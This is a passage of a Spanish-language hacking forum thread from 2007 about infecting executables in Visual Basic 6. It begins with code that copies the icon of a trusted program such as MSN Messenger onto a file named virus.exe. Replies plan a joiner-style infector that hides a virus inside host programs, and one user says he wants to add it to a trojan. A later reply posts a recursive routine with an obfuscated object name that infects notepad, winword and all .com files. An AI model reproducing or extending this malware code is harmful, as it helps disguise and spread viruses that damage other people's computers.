                                 CopyMemory m_tBits(iEntry).bBits(0), ByVal lPtr, lSize
                              End If
                           Else
                              bFail = True
                           End If
                        End If
                     End If
                  Next iEntry

                  ' Did we succeed?
                  If (bFail) Then
                     'Err.Raise vbObjectError + 1048 + 9, App.EXEName & ".cFileIcon", "Failed to read bitmap bits from resource."
                     ' ensure clear:
                     sFile = ""
                     Erase m_tIDE
                     Erase m_tBits
                     m_tID.idCount = 0
                     m_vID = Empty
                  End If
                  LoadIconFromEXE = Not (bFail)
                                       
               End If
               
            End If
         End If
      End If
     
      ' Free library:
      FreeLibrary hLibrary
   End If
     
End Function


Private Function SaveIcon( _
      Optional ByVal sFileName As String = "" _
   ) As Boolean
Dim hFile As Long
Dim dwBytesWritten As Long
Dim iEntry As Long
Dim bFail As Boolean
   
   ' General error checking:
   If (m_sFile = "") Then
      If (sFileName = "") Then
         'Err.Raise vbObjectError + 1048 + 3, App.EXEName & ".cFileIcon", "No filename specified."
         Exit Function
      End If
   End If
   If (m_tID.idCount = 0) Then
      'Err.Raise vbObjectError + 1048 + 4, App.EXEName & ".cFileIcon", "Icon contains no images."
      Exit Function
   End If
   
   ' Now start writing:
   If (sFileName <> "") Then
      m_sFile = sFileName
   End If
   
   ' Open the file for write:
   hFile = CreateFile(m_sFile, GENERIC_WRITE, 0, ByVal 0&, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, ByVal 0&)
   If (hFile = INVALID_HANDLE_VALUE) Then
      'Err.Raise vbObjectError + 1048 + 4, App.EXEName & ".cFileIcon", "Couldn't open file for writing."
   Else
      ' Write the header:
      WriteFile hFile, m_tID, Len(m_tID), dwBytesWritten, ByVal 0&
      If (dwBytesWritten = Len(m_tID)) Then
         ' Write the ICONDIRENTRY structures:
         For iEntry = 0 To m_tID.idCount - 1
            WriteFile hFile, m_tIDE(iEntry), Len(m_tIDE(iEntry)), dwBytesWritten, ByVal 0&
            If (dwBytesWritten <> Len(m_tIDE(iEntry))) Then
               bFail = True
               Exit For
            End If
         Next iEntry
         ' Write the icon bits:
         If Not (bFail) Then
            For iEntry = 0 To m_tID.idCount - 1
               WriteFile hFile, m_tBits(iEntry).bBits(0), m_tIDE(iEntry).dwBytesInRes, dwBytesWritten, ByVal 0&
               If (m_tIDE(iEntry).dwBytesInRes <> dwBytesWritten) Then
                  bFail = True
                  Exit For
               End If
            Next iEntry
         End If
      Else
         bFail = True
      End If
     
      ' Close the file:
      CloseHandle hFile
     
      ' Did we succeed?
      If (bFail) Then
         'Err.Raise vbObjectError + 1048 + 5, App.EXEName & ".cFileIcon", "General failure writing icon."
      End If
      SaveIcon = Not (bFail)
   End If

End Function


Private Function OpenIconFile(Filename As String) As Ico
Dim t As Ico 'structure temporaire
Dim X As Long 'compteur

'on ouvre le fichier
Open Filename For Binary As #1
    'on récupère l'entete du fichier
    Get #1, , t.IcoDir
   
    'redimensionne au nombre d'icones
    ReDim t.Entries(0 To t.IcoDir.idCount - 1)
    ReDim t.IcoData(0 To t.IcoDir.idCount - 1)
   
    'pour chaque icones
    For X = 0 To t.IcoDir.idCount - 1
        'récupère l'entete de l'icone
        Get #1, 6 + 16 * X + 1, t.Entries(X)
        'redimensionne à la taille des données
        ReDim t.IcoData(X).bBits(t.Entries(X).dwBytesInRes - 1)
        'récupère les données
        Get #1, t.Entries(X).dwImageOffset + 1, t.IcoData(X).bBits
    Next
'ferme le fichier
Close #1
'renvoie les données
OpenIconFile = t
End Function


Private Function MakeIcoExe(IconFile As Ico, IDBase As Long) As IcoExe
Dim t As IcoExe 'structure temporaire
Dim X As Long 'compteur

'nombre d'icones
t.IcoDir.idCount = IconFile.IcoDir.idCount
'type : Icone = 1
t.IcoDir.idType = 1
'chaque entrée
ReDim t.Entries(IconFile.IcoDir.idCount - 1)

'pour chaque entrée
For X = 0 To t.IcoDir.idCount - 1
    'entete d'icones
    t.Entries(X).bColorCount = IconFile.Entries(X).bColorCount
    t.Entries(X).bHeight = IconFile.Entries(X).bHeight
    t.Entries(X).bReserved = IconFile.Entries(X).bReserved
    t.Entries(X).bWidth = IconFile.Entries(X).bWidth
    t.Entries(X).dwBytesInRes = IconFile.Entries(X).dwBytesInRes
    t.Entries(X).dwImageOffset = X + IDBase
    t.Entries(X).wBitCount = IconFile.Entries(X).wBitCount
    t.Entries(X).wPlanes = IconFile.Entries(X).wPlanes
Next
'renvoie la structure
MakeIcoExe = t
End Function


Private Function ReplaceIcoInExe(Filename As String, sFile As String, BaseID As Long, GroupID As Variant, LangID As Long) As Boolean
Dim hWrite As Long 'handle de modification
Dim Exe As IcoExe 'structure de ressource icone
Dim ret As Long 'valeur de retour
Dim X As Long 'compteur
Dim D() As Byte 'buffer
Dim IcoFile As Ico

IcoFile = OpenIconFile(sFile)



'obtient un handle de modification
hWrite = BeginUpdateResource(Filename, 0)

'si échec, on quitte
If hWrite = 0 Then ReplaceIcoInExe = False: Exit Function

'sinon, on lit l'icone
Exe = MakeIcoExe(IcoFile, BaseID)

'on redimmensionne le buffer
ReDim D(6 + 14 * Exe.IcoDir.idCount)
'on copie les données dans le buffer
CopyMemory ByVal VarPtr(D(0)), ByVal VarPtr(Exe.IcoDir), 6

'pour chaque icone
For X = 0 To Exe.IcoDir.idCount - 1
    'on copie les données
    CopyMemory ByVal VarPtr(D(6 + 14 * X)), ByVal VarPtr(Exe.Entries(X).bWidth), 14&
Next

'on met à jour la ressource groupe icone
ret = UpdateResource(hWrite, RT_GROUP_ICON, GroupID, LangID, ByVal VarPtr(D(0)), UBound(D))

'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: EndUpdateResource hWrite, 1: Exit Function

'on met à jour chaque ressource icone
For X = 0 To Exe.IcoDir.idCount - 1
    ret = UpdateResource(hWrite, RT_ICON, Exe.Entries(X).dwImageOffset, LangID, ByVal VarPtr(IcoFile.IcoData(X).bBits(0)), Exe.Entries(X).dwBytesInRes)
Next

'on enregsitre dans le fichier executable
ret = EndUpdateResource(hWrite, 0)
'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: Exit Function

'sinon succès
ReplaceIcoInExe = True
End Function

Public Function EnumResNamesProc( _
      ByVal hMod As Long, _
      ByVal lpszType As Long, _
      ByVal lpszName As Long, _
      ByVal lParam As Long _
   ) As Long
   
Dim b() As Byte, lLen As Long

   If (lpszName And &HFFFF0000) = 0 Then
      m_VName = lpszName And &HFFFF&
   Else
      lLen = lstrlen(lpszName)
      If (lLen > 0) Then
         ReDim b(0 To lLen - 1) As Byte
         CopyMemory b(0), ByVal lpszName, lLen
         m_VName = StrConv(b, vbUnicode)
      End If

   End If

End Function

para provarlo en un formulario con un boton y un exe en c:\ llamdo virus.exe

(Aclaro esto es inofencivo no hay problemas solo cambia el icono)


Código:
Private Sub Command1_Click()
'la primera es a la que se le quiere sacar el icono por ejemplo MsnMesenger
'y la segunda a la que se lo vamos a agregar osea virus.exe
 MsgBox RemplaceIcons("C:\Archivos de programa\MSN Messenger\msnmsgr.exe", "C:\Virus.exe")
End Sub

algunas apis solo trabajan vajo win XP pero hay substitutos asi que si les interesa se puede mejorar tambien, no lo hice porque no tengo win 98 y no sabia si iva a funcionar, pero cualquier cosa lo vemos y lo modificamos

Saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: ~~ en 15 Abril 2007, 12:16 pm
Gracias LeandroA esta muy bien ese source, wena aportacion, ahora mismo lo pruevo, q me viene de lujo  ;D ;D


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 16 Abril 2007, 21:11 pm


cuando trato de compilar el codigo para probarlo en mi maquina virtual, me marca un error en esta linea:

If UBound(Buffer) = 1 Then

Dice el error  "Se esperaba matrix"

donde esta el fallo, el codigo lo mantube igual, no me complique para probarlo



Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 18 Abril 2007, 13:21 pm


soy al unico que le a marcado ese error?

saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Hendrix en 18 Abril 2007, 13:33 pm
La funcion UBound devuelve el numero de indices que tiene un array, si Buffer no es un array (supongo que no lo sera) da el error que te da... ;) ;)

Para evitarlo asegurate de que Buffer es un array.

Un Saludo.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 18 Abril 2007, 19:58 pm

gracias hendrix lo tenia definido de esta manera

dim buffer as string

me falto añadirle

dim buffer() as string

saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: ‭‭‭‭jackl007 en 7 Mayo 2007, 02:41 am
Si termino de hacerlo q el mismo infecEXE no deje su rastro del icono, lo posteo...
pero mientras tanto averiguo como lo puedo hacer...
si alguno lo termina o lo hace... lo postea...


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Happy-word en 8 Mayo 2007, 19:02 pm
yo boy mas con lo que dice EON yo hice el mio asi con las caracteristicas de un joiner y asi siempre queda con su icono y no se ve tan mamon el archivo infectado.


 ----------   Huesped..
 ----------    Virus..
 -----------   "XD"         **marca virica**


al ejecutar el archivo infectado este se desconpone y crea solamente el huesped mientras que el archivo original sigue infectado.
XD



(http://img471.imageshack.us/img471/5215/mypictr440x1252ps2.jpg)




Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: LeandroA en 8 Mayo 2007, 19:48 pm
yo boy mas con lo que dice EON yo hice el mio asi con las caracteristicas de un joiner y asi siempre queda con su icono y no se ve tan mamon el archivo infectado.


 ----------   Huesped..
 ----------    Virus..
 -----------   "XD"         **marca virica**


al ejecutar el archivo infectado este se desconpone y crea solamente el huesped mientras que el archivo original sigue infectado.
XD



(http://img471.imageshack.us/img471/5215/mypictr440x1252ps2.jpg)





y como se supone que se ejecuta el virus si esta escrito despues del huesped, me parece que estas equivocado.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: ~~ en 9 Mayo 2007, 15:39 pm
Si  :xD pero es q yo no dije eso  :xD :xD La primera parte seria el stub (por llamarlo asi) q se encargaria de dividir las otras dos y ejecutarlas o de hacer todas las funciones q se te ocurran..

Código:
 ----------   Stub 
    marca virica
 ----------   Huesped
    marca virica
 ----------    Virus

Se autolee, se parte, y ejecuta los dos trozos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Freeze. en 11 Julio 2007, 17:50 pm
Hola no quiero ser ignorante pero para que sirve este codigo???


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: nhaalclkiemr en 11 Julio 2007, 20:43 pm
Hola, este codigo está muy bien, pero digo en varias cosas que podría mejorar y que estarían muy bien:

-Que los parametros se pasen también al archivo infectado, pues si ejecutas por ejemplo ping 127.0.0.1 -n1 y el archivo ping.exe está infectado se ejecutaría simplemente ping

-Que sea el virus el que se descomprime en la ruta temporal y no el programa original, pues en caso de que por ejemplo un programa buscase los archivos que necesita para funcionar en su mismo directorio al estar en temp no los encontraría.

Después me gustaría saber como se podría hacer esto:

-Que no infecte a una carpeta (subcarpetas y archivos  :xD) determinada o que solo infecte a una determinada
-Que busque el nombre de un programa en concreto y solo infecte a ese.

Es que me gustaría añadir esto a un troyano y weno, me gustaría saber como podría hacer esto.

Saludos ;)


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 11 Julio 2007, 20:49 pm
-Que busque el nombre de un programa en concreto y solo infecte a ese.

Aqui tienes para lo del nombre:

Código
  1. Function Subfolders(path)
  2.    On Error Resume Next
  3.    'Se cifra el string que carga el objeto Scripting.FileSystemObject
  4.    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
  5.    Set Drives = fso.Drives
  6.  
  7.    newpath = path
  8.    Set Fold = fso.GetFolder(newpath)
  9.    Set Files = Fold.Files
  10.  
  11.    For Each File In Files
  12.        ext = fso.GetExtensionName(File.path)
  13.        ext = LCase(ext)
  14.        nam = LCase(File.Name)
  15.        'Modificación del Source
  16.        If (nam = "notepad") OR (nam = "winword") OR (ext = "com") Then
  17.            If IsInfected(File.path) = False Then
  18.                InfectFile (File.path)
  19.                DoEvents
  20.            End If
  21.        End If
  22.    Next
  23.  
  24.    Set File = Fold.Subfolders
  25.    For Each Subfol In File
  26.        Call Subfolders(Subfol.path)
  27.    Next
  28. End Function
Este ejemplo infecta cualquier archivo llamado notepad.* y winword.* Además infectará todos los archivo con extensión *.com

Citar
-Que no infecte a una carpeta (subcarpetas y archivos  :xD) determinada o que solo infecte a una determinada
Este es más complicado, pero creo que debería suprimir la parte del final:

Código
  1.    Set File = Fold.Subfolders
  2.    For Each Subfol In File
  3.        Call Subfolders(Subfol.path)
  4.    Next

Y llamar a la función: Subfolders con la ruta exacta, ejemplo: Subfolders("C:\Windows\System32)"
Ojo que esto último no lo he probado


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: nhaalclkiemr en 11 Julio 2007, 21:34 pm
Gracias, cuando pueda ya pruevo. Y encontraste alguna manera de como pasar los parametros al programa original. Solo con que me digas como puedo en VB6.0 obtener los parametros con los que se ejecutó una aplicación ya está.

Sludos y gracias por todo ;)


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 11 Julio 2007, 22:32 pm
Solo con que me digas como puedo en VB6.0 obtener los parametros con los que se ejecutó una aplicación ya está.

Existe una variable de VB6 llamada:

Código
  1. Parametros = Command$

Esto te devuelve los parametros con el que se ha ejecutado tu aplicación, con eso tienes suficiente. Saludos!!


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Freeze. en 11 Julio 2007, 22:35 pm
||MadAntrax||

Podrias decirnos como es que pones las letras de colores automaticamente(se ve mas ordenado)

o es manual o.O??


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 11 Julio 2007, 22:40 pm
||MadAntrax||

Podrias decirnos como es que pones las letras de colores automaticamente(se ve mas ordenado)

o es manual o.O??

Instalado Mod para Programación/Programadores GeSHi
https://foro.elhacker.net/index.php/topic,170103.0.html


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Freeze. en 11 Julio 2007, 22:40 pm
Ok Muchas gracias.!!


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Freeze. en 11 Julio 2007, 22:44 pm
Disculpen el 2ble post.:
y Tambien disculpen desviar el hilo...

¿Como se usa?

Código
  1. asii??

no no se...